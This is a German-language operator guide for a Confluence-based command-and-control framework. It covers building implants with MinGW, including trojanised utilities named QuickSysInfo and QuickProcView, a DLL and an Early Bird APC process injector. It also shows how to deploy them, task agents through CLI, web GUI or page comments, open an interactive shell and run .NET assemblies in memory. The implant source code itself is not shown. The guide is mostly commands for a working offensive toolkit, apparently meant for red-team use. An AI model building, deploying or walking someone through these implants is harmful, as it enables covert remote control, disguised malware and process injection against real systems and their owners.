Confluence C2

Autor: Dhanush Arvind

Voraussetzungen

Python 3.8+ mit requests:

pip install requests

Confluence Cloud-Konto mit einem API-Token (generieren unter https://id.atlassian.com/manage-profile/security/api-tokens) oder Confluence-Server-Anmeldedaten

MinGW GCC entweder:

• WSL mit x86_64-w64-mingw32-gcc (sudo apt install gcc-mingw-w64-x86-64) oder
• natives MinGW-w64, das unter Windows installiert und zum PATH hinzugefügt wurde

Schritt 1: Die C2-Seite erstellen oder sie manuell über den Browser erstellen

python c2_operator.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    setup --space-key MYSPACE

Speichern Sie die Page ID aus der Ausgabe — Sie benötigen sie für alles Folgende.

Um einen benutzerdefinierten Titel zu verwenden:

python c2_operator.py --url ... --email ... --api-token ... setup --space-key MYSPACE --title "Sprint Retro Notes"

Schritt 2: Den Aufrufer konfigurieren

Führen Sie configure.py aus, um Ihre Confluence-Anmeldedaten und die Seiten-ID in den Quellcode des Aufrufers einzubetten:

python configure.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    --page-id 12345678 ^
    --sleep 10000

Argument	Erforderlich	Beschreibung
--url	Ja	Confluence-Basis-URL
--email	Ja	E-Mail-Adresse des Confluence-Kontos
--api-token	Ja	Confluence-API-Token
--page-id	Ja	Seiten-ID aus Schritt 1
--sleep	Nein	Beacon-Intervall in Millisekunden (Standard: 10000)
--output	Nein	Ausgabeverzeichnis (Standard: build)
--no-wiki-prefix	Nein	/wiki-Präfix überspringen (für Confluence Server)
--compile	Nein	Automatisch kompilieren, wenn gcc im PATH vorhanden ist

Schritt 3: Kompilieren mit MinGW

Option A: WSL-MinGW-Cross-Compiler (unter Windows empfohlen)

Aus PowerShell:

# Payload 1: Standalone caller
wsl x86_64-w64-mingw32-gcc -O2 -o /mnt/c/path/to/build/caller.exe /mnt/c/path/to/build/caller.c -lwinhttp -lws2_32

# Payload 2: Bundled QuickSysInfo
wsl x86_64-w64-mingw32-gcc -O2 -DBUNDLED_BUILD -o /mnt/c/path/to/build/QuickSysInfo.exe /mnt/c/path/to/build/caller_bundled.c -lwinhttp -lws2_32 -liphlpapi

# Payload 2 clean: QuickSysInfo without caller
wsl x86_64-w64-mingw32-gcc -O2 -o /mnt/c/path/to/build/QuickSysInfo_clean.exe /mnt/c/path/to/build/host_app.c -lws2_32 -liphlpapi

# Payload 3/4: Caller as DLL
wsl x86_64-w64-mingw32-gcc -shared -O2 -DBUNDLED_BUILD -o /mnt/c/path/to/build/caller_inject.dll /mnt/c/path/to/build/caller_dll.c -lwinhttp -lws2_32

# Payload 3: Early Bird APC injector
wsl x86_64-w64-mingw32-gcc -O2 -nostdlib -fno-stack-protector -fno-builtin -Wl,-e,_start -o /mnt/c/path/to/build/earlybird_inject.exe /mnt/c/path/to/build/earlybird_inject.c

# Payload 4: Bundled QuickProcView
wsl x86_64-w64-mingw32-gcc -O2 -DBUNDLED_BUILD -o /mnt/c/path/to/build/QuickProcView.exe /mnt/c/path/to/build/earlybird_bundled.c -lpsapi

# Payload 4 clean: QuickProcView without injection
wsl x86_64-w64-mingw32-gcc -O2 -o /mnt/c/path/to/build/QuickProcView_clean.exe /mnt/c/path/to/build/procview_app.c -lpsapi

Ersetzen Sie /mnt/c/path/to/build durch den tatsächlichen WSL-Pfad zum Build-Verzeichnis Ihres Projekts.

Option B: Natives MinGW unter Windows

gcc -O2 -o build\caller.exe build\caller.c -lwinhttp -lws2_32
gcc -O2 -DBUNDLED_BUILD -o build\QuickSysInfo.exe build\caller_bundled.c -lwinhttp -lws2_32 -liphlpapi
gcc -O2 -o build\QuickSysInfo_clean.exe build\host_app.c -lws2_32 -liphlpapi
gcc -shared -O2 -DBUNDLED_BUILD -o build\caller_inject.dll build\caller_dll.c -lwinhttp -lws2_32
gcc -O2 -nostdlib -fno-stack-protector -fno-builtin -Wl,-e,_start -o build\earlybird_inject.exe build\earlybird_inject.c
gcc -O2 -DBUNDLED_BUILD -o build\QuickProcView.exe build\earlybird_bundled.c -lpsapi
gcc -O2 -o build\QuickProcView_clean.exe build\procview_app.c -lpsapi

Option C: Automatische Kompilierung über configure.py

python configure.py --url ... --email ... --api-token ... --page-id 12345678 --sleep 10000 --compile

Nach der manuellen Kompilierung kopieren Sie die Binärdateien nach payloads/:

copy build\*.exe payloads\
copy build\*.dll payloads\

Schritt 4: Den Aufrufer ausführen

Payload 1: Eigenständig

payloads\caller.exe

Payload 2: Trojanisiertes QuickSysInfo

payloads\QuickSysInfo.exe

Payload 3: Early Bird DLL Injection

Beide Dateien müssen sich im selben Verzeichnis befinden:

cd payloads
earlybird_inject.exe

Payload 4: Trojanisiertes QuickProcView

Beide Dateien müssen sich im selben Verzeichnis befinden:

cd payloads
QuickProcView.exe

Schritt 5: Bedienen : CLI oder Web-GUI

Option A: CLI-Operator (c2_operator.py)

python c2_operator.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    --page-id 12345678 ^
    list

Option B: Web-GUI (c2_web.py)

python c2_web.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    --page-id 12345678 ^
    --port 8443

Öffnen Sie http://127.0.0.1:8443 in Ihrem Browser.

Schritt 6: Befehle senden

Über CLI: Seiteninhalt

python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 task 90bd7c8a "whoami"

Via CLI: Kommentar

# Broadcast to all agents
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 ctask "whoami"

# Target specific agent
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 ctask --agent 90bd7c8a "whoami"

Über die Web-GUI

Öffnen Sie den Tab Console. Wählen Sie den Modus Page Body oder Comment. Geben Sie den Befehl ein, wählen Sie den Ziel-Agenten aus und klicken Sie auf Send.

Über den Browser (keine Tools erforderlich)

Navigieren Sie zur C2-Seite und posten Sie einen Kommentar:

[cmd] whoami

Auf einen bestimmten Agenten abzielen:

[cmd:90bd7c8a] whoami

Interaktive Shell (nur CLI)

python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 interact 90bd7c8a

Ausgabe lesen

# All output
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 read

# Filter by agent
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 read 90bd7c8a

.NET-Assembly im Arbeitsspeicher ausführen

python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 inlineexecute 90bd7c8a C:\path\to\Seatbelt.exe "-group=all"

Schritt 7: Den Aufrufer beenden

# Via operator script
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 task 90bd7c8a "exit"

# Via browser comment
[cmd] exit

# Target specific agent
[cmd:90bd7c8a] exit

Schritt 8: Aufräumen

python c2_operator.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    --page-id 12345678 ^
    cleanup

Oder über die Web-GUI: Öffnen Sie den Tab Cleanup und klicken Sie auf die Schaltfläche zur Bereinigung.

Caller-Befehle